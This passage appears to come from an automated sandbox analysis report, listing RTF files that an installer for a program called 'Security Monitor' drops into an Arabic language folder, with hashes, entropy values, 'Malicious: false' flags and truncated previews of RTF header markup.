Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-HJJQD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43600
Entropy (8bit):	5.089965856777119
Encrypted:	false
SSDEEP:	768:s8SX8tS1BOd5rXmgamSN4UIRop4RiHAhzIaq4z4:s8cWRK4z4
MD5:	A79752006AFB6D9A39FC512475ED8493
SHA1:	41B4CD12ACE830E94F30119B35317B7C3C49DAEA
SHA-256:	F0DEFD01327E90A5DCB72C78B1A1D0A875D39E43AC8CD1D2BB0E63B25465BADF
SHA-512:	003CEED560F76521D0457BE2CCD3E438E7100765A6ECA110AE9EE47B43FA807DB389F1B1E1C3D001FC170B38E211E46A4D280799BEE93DA79237B9BD9B34F812
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-J6MD8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	61090
Entropy (8bit):	5.061944824308056
Encrypted:	false
SSDEEP:	768:s8/N3CelQcu09coHJreOBnAF3vlmgaJnAF3vlmgaiSN4UIRopZMggLBbWmb8Sw1w:s85g+X4zR
MD5:	F233DF0C1E13DC0EC1FBC3DFE59E36FA
SHA1:	A032C4D543AA03D01A28518894DD066D8682CE2C
SHA-256:	B465F564E4A3FC70B8D12141C5CD4E1EA9C620D4B2A7A5DC84F54D8C5701F590
SHA-512:	13CAF615E0EEEA67CD8037106E7714CACD72F4A74CB53561766D6D7546E97F62A390BB09FD5DFA3AAE56499E13CD699E13684181443E4361BECED33D8D6E26F9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-KA2FL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	47686
Entropy (8bit):	5.09343273407686
Encrypted:	false
SSDEEP:	768:ssS88UAauxWSlSQ4KxTmlbyGwI+X0Ij+SN4UIRopfviHmdW0isCE35OAnelmHj/F:ss9Hq5F4zY
MD5:	D883A50756AA633B20915B68BDCE5213
SHA1:	B2B99E912B3F0D3E0DF2C90B71DE5C3316745E67
SHA-256:	E41BEF0E6F6FCAB4CC5749CC8066F4AE4EA50F19C518B644B86034BC0885CB32
SHA-512:	670BA488A0DEFF9B037CCCB22912798487F5FC02AFB84E9DF41E2D1DB98E39CF7BC608131B6D38DDAD8250E96F7A9900CCCFBEDA80512BBCBED055788DE8D72C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-M105C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53088
Entropy (8bit):	5.091636989377984
Encrypted:	false
SSDEEP:	768:ss/Ly89zHebIrXWeKyggjmvOnaCwL9W1bd5JIyyFXMjjv0dp+ILGmx5BfQNCrli8:ssm1Gg4zO
MD5:	505DFAF995C4EA7441C48E99C6400772
SHA1:	26C112D3664663D7B9618D11D9BF7C893DAD3A1A
SHA-256:	6D87327F851810F5CC1844EC1A39ACC0390EFB02284094EC53AF1CD4CE8CA3B2
SHA-512:	2F190B4882D740DB06E90532905A6A0EEBC73AC06D581FE993254C0E23A46E7DAAD5F63D0FF643F258D5603B6E866D8AC2447F336F109116777AB49FD824D356
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-PIE2I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	52084
Entropy (8bit):	5.088144154341775
Encrypted:	false
SSDEEP:	768:ssSn8tDcYXyC+R+8tDcpzyA/mwMWGwI+X0IjuqhR2X4PUPgb5o69HPriWEudPiaR:sswX64zI
MD5:	23F3B31CDFBD1A8A1695D3D7E4EF9B36
SHA1:	A1B344F97F06F83DD818A51338B965793167F826
SHA-256:	6774CCE8D38C1CE308190456560DDDC892BB4845220D08622C7D89BA79A148CB
SHA-512:	145B093694165C40D4B951A2193BC573E57538D0EC6252A1C659B5258ACC327573803C31BC184196B5C0AEF372157878FFF76E7250BB2B4211BCA04A0488B3C8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-PVRKU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	52487
Entropy (8bit):	5.092431049148049
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrUQBkyKWm+2Ck4O6CFURooIniy+JcOerjj1oMUliJ/KK0KhKuiFq:ssZmQUw4zQ
MD5:	CBF3434F05AFD39EAF4FF2766C533BCD
SHA1:	A339CCBDD47201D50598801A53E979B0C0A52607
SHA-256:	0F58E6C26916B5B1E7A9E1130C8EC22A08A2500972446EC232901013C7645A1B
SHA-512:	2EB64B6B8625BF64341EAD806EBE07E3BCD954DEC97D50BD68E6990062C1EBAA7553EA2834D04291B4E103F28296BB1F4F5CA6182E143F07752AD375DC8C80DF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-QQI5E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43013
Entropy (8bit):	5.090193363439038
Encrypted:	false
SSDEEP:	768:s8SX8t+yiBkyKWm+yqBjLW5qoFxbyl2Zweq4zX:s8cf4zX
MD5:	2519F9520A2AB950F74212172A0BEB94
SHA1:	BA0E1A1C41C867840AE63A677B053DA1118F886B
SHA-256:	E1A9AD7ADB8F8E6969D8F8522118371971B6FE01CD6248819CEBEDBF2EAE9CB6
SHA-512:	AA64B50E2570FFC247DB4D7D182F56A3C0010247AAC51D030AB554DA1A1B4D465CCEA6C50389610864E4B89E4381F575672D0A53018CE18483FAD26B021C1ECE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-QRF0E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53852
Entropy (8bit):	5.077126010099254
Encrypted:	false
SSDEEP:	768:s8SJmeIQTmoQBkyKWm+mqBjLW5qoISN4UIRop1BBAvqJ6Hcrfvw4QJuyHKj3z2yw:s8Urw4zS
MD5:	23DB4F7C5A211C876D606B792A96769E
SHA1:	5747AB46CEB3A87BD87CCB5723BF07E0CFBAA73B
SHA-256:	6229BB6489019CA563DBF8F11CF135C4604A22014337F3AC3FF4E39FC3624E88
SHA-512:	BFF0AAFAF0C676EB9CA6DCF5278E4796DF778943493826C8B3FE8475125C9ADDC4F5763BC64F12B62398C1B77343669BB518FD0A864E83A80CC9F3AACE519A0A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-R22GO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40943
Entropy (8bit):	5.062621250408577
Encrypted:	false
SSDEEP:	768:pqeS48Um0GhbtabQhOsWx/LCrLXI1n8T2njX8x3Ftt4MfRMIq818Z/6A9i:pqKH+qIA9i
MD5:	E2D6C3DBD79C905DABE49F310F9A134E
SHA1:	072CB75BBAD6904B39757E423EEDA0F3CA9FA8D7
SHA-256:	0A9C5D645D90A6D3CA88495DE5D0410CE8456C6AF5C0D56E4F225B81CECC0069
SHA-512:	EEC29BB5020AE654E7A0DB369722B1AD8286D97288C40E009B26AD20A2A9CD661B5AE9CCFFF7629B378EFC98AFA505F933F36C2AF0A49E7C7FD35D3925B0BF42
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-S7MME.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	48225
Entropy (8bit):	5.096715936522922
Encrypted:	false
SSDEEP:	768:ss/Ly89zHebIrfVY9RtmIiRAN4UIRopxdRNudR5crHZi2drk7Y9mrjbmPObWPq6S:ssmpH84z8
MD5:	2598048BFC64A464E54D6B415A7303E7
SHA1:	6FD99F1B7BB146904F310EAA185C9BEF7794DB69
SHA-256:	70C7A754C1EABFA6640D343B1CCF2F773DED987C88AC8F90331AC7DBD1B308AD
SHA-512:	D50B166D6FD03868343EB90C549A7D0D6E6E72AB3A8C73A48E7FCB80AC17BD595BE237C7AEFEE47E1AE9BA80FA5C2DA9800F9A4562E7D99E7006EC89C626A2F7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-TP91V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	54763
Entropy (8bit):	5.086159865228289
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrIQBkyKWm+2Ck4O6CFURooIniyl+n6S8aG+8Iu/wj5XvSTp5kiWz:ssZVpy4zU
MD5:	FE0FD5197CD49B1818CD102069665E64
SHA1:	313F0DF1F4B687043DAED9B1BB783BA36F8F1BC4
SHA-256:	787E3B3DBC3E1DE91DD2C786085ED70616AF51B843C56B88541B40601390E055
SHA-512:	B24055EE351C5973DF4C42D678A59F84EE4F7447AEDA49581413E97CBA59C0DF1F2E5712BC31C2F94FA399214208BBB9F1C6AE3EA6BB439728D1C5C5D156F96F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-UJC8G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	34167
Entropy (8bit):	5.060082647909622
Encrypted:	false
SSDEEP:	384:p4ew9g0BnPz+p/zWFU48XTKjH2njzr8x3e9kl6YpXNEnysJQezqCdPcedBKfieoE:p4e548XTKT2njX8x3UW7U7vhezZ/6A9P
MD5:	67CFAF3E0373E3678B93AFE97714C9CC
SHA1:	67D9665DEC3734F04E4FE7F893FE12CF008769FD
SHA-256:	E47932F8DAD868BDFA11A27D4E6B6F5520D99C33FB574BB74D1FA4ED37DE33DB
SHA-512:	651811F016A6081D2913336BA4E1B7562DC3A65F7727005B25BC5F0B86C7AF97098C5AEC40FD42CEE43433B4F0036C64479A12C47D5A0A32ED42B656DE6ECDD2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-VG6LT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	67825
Entropy (8bit):	4.9803843553687
Encrypted:	false
SSDEEP:	768:pqeP2iXwdvjLJzrrrMOcPI0QhhiLVptabQhOsWxkMvxGx5QZTTHPmpncTUAF7s8a:pqL5UneNTHP3TIA9i
MD5:	C84BB8D1E95FF5ED4B74B8F938B7C26F
SHA1:	C661D3ECDB4B78DF45927CB9BD6AD3E97E32391B
SHA-256:	FD87095AFDF8E11217CE15975B5072A0F9543F76E6969A1C89ABA454554D8DAE
SHA-512:	6B54B1F73B15EB1EC8DA02C5ECB859A5E5ED10D41A04F667ACABCA35FA86684EC88D8AFE05C32BD84A1C8584CE6B0805A755FF36FB937484C4258D0CCE94D6E3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	47686
Entropy (8bit):	5.09343273407686
Encrypted:	false
SSDEEP:	768:ssS88UAauxWSlSQ4KxTmlbyGwI+X0Ij+SN4UIRopfviHmdW0isCE35OAnelmHj/F:ss9Hq5F4zY
MD5:	D883A50756AA633B20915B68BDCE5213
SHA1:	B2B99E912B3F0D3E0DF2C90B71DE5C3316745E67
